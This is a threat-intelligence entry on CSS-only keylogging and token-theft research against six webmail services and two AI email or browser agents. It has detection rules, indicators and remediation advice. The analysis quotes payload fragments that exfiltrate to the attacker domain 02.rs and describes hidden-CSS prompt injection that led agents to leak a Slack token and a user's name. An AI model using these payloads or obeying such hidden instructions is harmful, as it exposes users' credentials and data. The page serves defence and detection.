CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft Attacks Against Gmail, Outlook, Yahoo Mail, AOL Mail, Fastmail, and ProtonMail

Key facts

Detection coverage

As of 2026-08-09, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1956 across Splunk SPL, Microsoft KQL and Sigma, covering 6 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: CSS Bomb - DNS/Proxy Resolution of Confirmed Attacker Exfiltration Domain (02.rs)

Detects DNS queries or proxy connections to the confirmed CSS Bomb attacker-controlled domain 02.rs, including the /debug# (OpenAI Atlas prompt-injection exfil) and /m/{combo} (Yahoo/AOL token brute-force) path patterns, and flags when the requesting process is an AI email/browser agent (Claude Cowork, OpenAI Atlas) rather than a human-driven browser tab.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1071.001, T1583.001, T0051
• Data sources: Splunk Stream DNS (stream:dns), Zscaler NSS web proxy logs (zscalernss-web)
• Severity: critical
• Confidence: high

Splunk SPL

index=network (sourcetype="stream:dns" OR sourcetype="zscalernss-web") earliest=-24h
| eval fqdn=coalesce(query, dest_domain)
| where match(fqdn, "(?i)(^|\.)02\.rs$") OR match(url, "(?i)02\.rs/(debug|m)/")
| eval agent_process=coalesce(process_name, http_user_agent)
| table _time, src_ip, user, fqdn, url, agent_process
| sort -_time

Microsoft KQL

union DnsEvents, DeviceNetworkEvents
| where Timestamp > ago(24h)
| where (isnotempty(RemoteUrl) and RemoteUrl has "02.rs") or (isnotempty(Name) and Name has "02.rs")
| extend AiAgentProcess = iif(InitiatingProcessFileName in~ ("ClaudeCowork.exe","Atlas.exe"), InitiatingProcessFileName, "")
| project Timestamp, DeviceName, InitiatingProcessFileName, AiAgentProcess, RemoteUrl, Name
| sort by Timestamp desc

Sigma

title: CSS Bomb - DNS/HTTP Resolution of Confirmed Attacker Domain 02.rs
id: c1e9a7f3-2b4d-4e6a-8f1c-3a5b7d9e0c44
status: experimental
description: Detects DNS queries or HTTP connections to the confirmed CSS Bomb attacker-controlled domain 02.rs, including the /debug# (OpenAI Atlas prompt-injection exfiltration) and /m/{combo} (Yahoo/AOL token brute-force) path patterns.
references:
    - https://portswigger.net/research/css-the-bomb-inside-your-inbox
author: Threadlinqs Team
date: 2026-08-09
tags:
    - attack.command-and-control
    - attack.t1071.001
    - attack.resource-development
    - attack.t1583.001
    - attack.execution
    - attack.aml.t0051
logsource:
    category: dns
detection:
    selection:
        query|endswith: '.02.rs'
    selection2:
        query: '02.rs'
    condition: 1 of selection*
falsepositives:
    - None expected; 02.rs is a confirmed attacker-controlled domain from the PortSwigger disclosure
level: critical

Known false positives:

• None expected for the exact domain 02.rs -- this is a confirmed attacker-controlled indicator from the PortSwigger disclosure; investigate any hit as a true positive pending containment

Tuning notes: Feed 02.rs and any newly disclosed CSS Bomb infrastructure into a standing threat-intel watchlist so this becomes a lookup-driven correlation search rather than a hardcoded domain match, and alert at highest priority when agent_process matches a known AI email/browser-agent binary.

• 🔒 CSS Bomb - Attacker Exfiltration Domain Referenced in Email Body URLs (M365 Defender) · unlock with TL Creds
• 🔒 CSS Bomb - High-Frequency Browser Network Bursts to a Single Remote URL (Defender for Endpoint) · unlock with TL Creds
• 🔒 CSS Bomb - AI Agent Network Connection to Attacker Domain (Defender DnsEvents/DeviceNetworkEvents) · unlock with TL Creds
• 🔒 CSS Bomb - Email Gateway Signature Match on CSS Sanitizer-Bypass Payload · unlock with TL Creds
• 🔒 CSS Bomb - Sigma Aggregation Rule for Rapid Repeated Image Requests to a Single Domain · unlock with TL Creds
• 🔒 CSS Bomb - DNS Query for Known Attacker Domain [indicator] · unlock with TL Creds
• 🔒 CSS Bomb - Malicious CSS Payload Delivered via Inbound SMTP Message · unlock with TL Creds
• 🔒 CSS Bomb - Burst of Background-Image Requests Indicating CSS Keylogging Exfiltration · unlock with TL Creds

Indicators of compromise

As of 2026-08-09, Threadlinqs Intelligence tracks 6 indicators of compromise for TL-2026-1956.

Sample indicators (2 of 6)

• Domain: 02[.]rs
• Domain: uid[.]fastmail[.]com

Defanged, TLP:CLEAR. Full set of 6 indicators: unlock with TL Creds.

Technical analysis

Fastmail and ProtonMail patched their reported bugs; Outlook's label-hijacking flaw and Gmail's image-set() sanitizer bypass remained unfixed as of the August 6, 2026 publication.

On August 6, 2026, PortSwigger researcher Gareth Heyes published "CSS: The Bomb Inside Your Inbox" (presented at Black Hat USA 2026) demonstrating that HTML-sanitized webmail clients remain exploitable through CSS mechanisms alone, without any JavaScript execution. The research chains together CSS mutation (hex-escape sequences that decode during CSSOM parsing, e.g. `@keyframes foo\7d\2a` becoming `@keyframes foo } *`), attribute-selector brute-forcing, and pseudo-element/pseudo-class abuse (`:before`, `:after`, `:has()`, `:checked`) to build a real-time, JavaScript-free keylogger and data-exfiltration primitive that fires a unique background-image (or image-set()) HTTP request to an attacker-controlled server for each character typed or selected.

Against Outlook, Heyes disguised a `<select>` dropdown as a password field using `-webkit-text-security:disc`, exploited a sanitizer parser-confusion bug (`@media --narrow-window;/*"*/.x_x{position:fixed}`) to break CSS containment, and abused Outlook's `<label for="...">` element to hijack arbitrary UI controls by ID (e.g. `RibbonModeToggle`) from within an email body -- reportedly still unresolved at publication. Against Firefox specifically, moving the disguised select element off-screen resets the browser's ~1-second key-repeat timer, letting the technique capture keystrokes in near real time and, in one chain, spoof a Microsoft sign-in screen to capture a recipient's password. Against Gmail, a `background:image-set(var(--x,'//02.rs'))` fallback bypasses the image-proxy sanitizer and forces an external request even when the primary URL is stripped -- also unpatched at publication. Fastmail's own allowlisted image-proxy domain was abused via an escaped-backslash payload (`content:url(/\5c/user.fm/uid.fastmail.com/track)`) to leak keystroke data visible in Fastmail's own access logs, alongside two separate CSS-mutation ('CSS hotwiring') bugs -- all three fixed, with Fastmail paying two $1,000 bounties. ProtonMail's image-proxy sanitizer was bypassed via ambiguous CSS comment syntax (`background:/*Url( Url(...)*url(//02.rs)`); Proton disputed the bug's classification before silently patching it months later.

Against Yahoo Mail and AOL Mail, Heyes found that Firefox retains inline CSS styling on pasted clipboard content for a brief window before sanitization runs (a race condition), which he weaponized -- using Hackvertor's "Copy as HTML" feature to build a malicious clipboard blob -- to steal a 12-character hex Medium.com login token embedded in a pasted callback URL. Nested CSS attribute selectors (`[attr^="start"]{&[attr*="middle"]{...}}`) brute-forced the token's first and last five characters via background-image requests, with server-side overlap logic recovering the middle two characters, enabling full account takeover without any script execution. A related font-metrics side channel used `@font-face` with `unicode-range` and `descent-override` to selectively enlarge individual digits, allowing digit-frequency counting via rendered height.

The research extends beyond human victims to AI email agents. Chaining the Gmail image-set() bypass with indirect prompt injection, a crafted email caused Anthropic's Claude Cowork (Gmail connector) to retrieve a Slack authentication token and place it into an HTML draft for exfiltration. A separate chain against OpenAI's Atlas AI browser hid malicious instructions inside a `:before` pseudo-element with `opacity:0.00000001` -- invisible to a human reader but present in the DOM text the AI model processes -- causing Atlas, when asked to "translate" the email, to follow the hidden instructions and exfiltrate the victim's name letter-by-letter via sequential URL loads to an attacker domain. No CVE or CVSS score has been assigned to any of these findings; PortSwigger has published proof-of-concept code for the techniques on GitHub.

MITRE ATT&CK / ATLAS techniques by tactic:

Execution

AML.T0051 LLM Prompt Injection; T1204 User Execution

Stealth

T1027 Obfuscated Files or Information

Collection

T1056 Input Capture; T1056.001 Keylogging

Command and Control

T1071.001 Web Protocols

Credential Access

T1528 Steal Application Access Token; T1539 Steal Web Session Cookie

Initial Access

T1566 Phishing

Resource Development

T1583.001 Domains

Remediation

Patches

• Fastmail: patched two CSS mutation ('CSS hotwiring') bugs (bounty $1,000 each) reported by Gareth Heyes
• ProtonMail: image-proxy sanitizer bypass silently patched months after initial report and dispute over bug classification

Immediate actions

• Disable or strictly limit automatic remote-image loading in webmail clients to reduce the background-image exfiltration channel
• Render untrusted HTML/CSS email content inside a sandboxed, srcdoc-isolated iframe with a restrictive Content-Security-Policy (no external image loads without user action)
• Strip or neutralize high-risk CSS selectors and pseudo-classes in email sanitizers: :has(), :checked combined with adjacent-sibling selectors, and attribute selectors with wildcard/substring matching
• Block CSS properties known to enable UI redress and text-security spoofing: position:fixed/absolute at document scope, -webkit-text-security, and z-index stacking on injected elements
• Disallow custom/arbitrary HTML attributes on rendered email DOM nodes to prevent label-for targeting of the host application's own UI controls

Workarounds

• Outlook users: avoid interacting with dropdown/select menus embedded in untrusted email bodies, and treat any password-style prompt appearing inside message content as suspicious
• Gmail/Cowork users: disable or scope back automatic AI-agent processing of untrusted inbound email content until image-set() sanitizer bypass is fixed
• Yahoo Mail/AOL Mail users: avoid pasting clipboard content containing URLs or tokens directly into message compose/reply fields sourced from untrusted copy actions

Longer-term hardening

• Re-audit CSS/HTML sanitizers (e.g., DOMPurify configurations) specifically against CSSOM mutation via hex-escape sequences that decode after parsing, not just before
• Treat image-proxy allowlist domains as a trust boundary that must itself resist path/query injection, not just enforce a domain allowlist
• Fix the Firefox/Chrome clipboard paste-sanitization race that allows a short window of unsanitized inline CSS to render before cleanup
• Require AI email/browser agents to treat all DOM text -- including near-zero-opacity or off-screen pseudo-element content -- as untrusted input equivalent to visible content, and apply prompt-injection detection to it
• Adopt a standard CSP directive or webmail-specific policy that disables CSS-only network requests (background-image, image-set(), font src) originating from message-body content by default

Affected and fixed versions

• Microsoft — Outlook (webmail)
  Vulnerable versions: web version, as tested through 2026-08-06
• Google — Gmail (webmail)
  Vulnerable versions: web version, as tested through 2026-08-06
• Fastmail — Fastmail webmail
  Vulnerable versions: web version, prior to fix
  Fixed in: patched two CSS mutation bugs, disclosed 2026-08-06
• Proton — Proton Mail (webmail)
  Vulnerable versions: web version, prior to silent patch
  Fixed in: image-proxy bypass silently patched, exact version/date undisclosed
• Yahoo — Yahoo Mail (webmail)
  Vulnerable versions: web version, as tested through 2026-08-06
• AOL — AOL Mail (webmail)
  Vulnerable versions: web version, as tested through 2026-08-06
• Anthropic — Claude Cowork (Gmail connector)
  Vulnerable versions: as tested through 2026-08-06
• OpenAI — Atlas (AI browser)
  Vulnerable versions: as tested through 2026-08-06; product scheduled for discontinuation 2026-08-09

Timeline

• 2026-08-06 Gmail's image-set() image-proxy sanitizer bypass is confirmed still exploitable as of the publication date, with no fix issued by Google.
• 2026-08-06 Outlook's label-hijacking / select-menu keylogging chain is confirmed still exploitable as of the publication date, with no fix issued by Microsoft.
• 2026-08-06 PortSwigger publishes proof-of-concept code for the CSS attack techniques to a public GitHub repository alongside the research write-up.
• 2026-08-06 PortSwigger researcher Gareth Heyes publishes 'CSS: The Bomb Inside Your Inbox' at 22:00 UTC, presented at Black Hat USA 2026, detailing CSS-only keylogging and exfiltration chains across six webmail platforms plus AI-agent prompt-injection chains against Claude Cowork and OpenAI Atlas.
• 2026-08-06 ProtonMail's CSS image-proxy sanitizer bypass, previously disputed by Proton over bug classification, is confirmed silently patched months after the original report when retested before publication.
• 2026-08-06 Fastmail patches two CSS mutation ('CSS hotwiring') bugs reported by Gareth Heyes, paying two $1,000 bounties, ahead of public disclosure.
• 2026-08-08 Independent commentary (mangodeveloper.com) contrasts vendors that acknowledged and fixed reported bugs against vendors reported to have dismissed the research publicly before quietly patching months later without crediting the disclosure.
• 2026-08-08 The Hacker News and Security Affairs report on the research, highlighting the indirect prompt-injection risk to AI email agents (Claude Cowork, OpenAI Atlas) alongside the core webmail keylogging findings.
• 2026-08-09 Cyber Security News republishes coverage of the CSS Bomb research, the article that seeded this threat entry's hunt phase.

Sources cited

• CSS: the bomb inside your inbox portswigger.net · Research · 2026-08-06
• Researcher profile - Gareth Heyes portswigger.net · Research · 2026-08-06
• PortSwigger PoC repository - css-the-bomb-inside-your-inbox GitHub · Code repository · 2026-08-06
• Yahoo, AOL, Fastmail, Google and Microsoft: New CSS Attacks Can Break Webmail Defenses to Steal Passwords and Tokens blog.rankiteo.com · Blog · 2026-08-08
• CSS Can Now Steal Your Email Data, And Some Vendors Pretend It's Not Happening mangodeveloper.com · Blog · 2026-08-08
• CSS Bomb Attack Weaponizes CSS Styling to Hijack Webmail Interfaces cybersecuritynews.com · News · 2026-08-09
• New CSS Attacks Can Break Webmail Defenses to Steal Passwords and Tokens The Hacker News · News · 2026-08-08
• Webmail CSS Attacks Expose a New Risk for AI-Powered Email Tools securityaffairs.com · News · 2026-08-08

Related threats

• CSS Bomb Attacks: CSS-Based Trust-Boundary Bypass Leaks Webmail Passwords and Tokens (Outlook, Gmail, Yahoo, AOL, Fastmail, Proton Mail)
• Critical Microsoft Copilot CoSnitch Vulnerability (CVE-2026-24301) Enabled One-Click Data Theft From Connected Accounts
• Critical Type Confusion in isolated-vm (GHSA-864f-rcv7-6rh4) Enables Sandbox Escape and RCE on Host
• Qilin-Linked Campaign Exploits MCP Gateway and LLM Framework Flaws (CVE-2026-59822, CVE-2026-42271, CVE-2026-48710) for RCE and Cryptomining

Related coverage of this activity

• Slopsquatting AI packages

Previous and next in vulnerability

• Claude in Chrome Prompt Injection Steals Gmail Codes to Hijack Slack, X, and Claude.ai Accounts Previous report
• Metabase Unauthenticated SQL Injection 0-Day (GHSA-vwf4-m7j8-wcjf) Exploited in the Wild for Admin Takeover Next report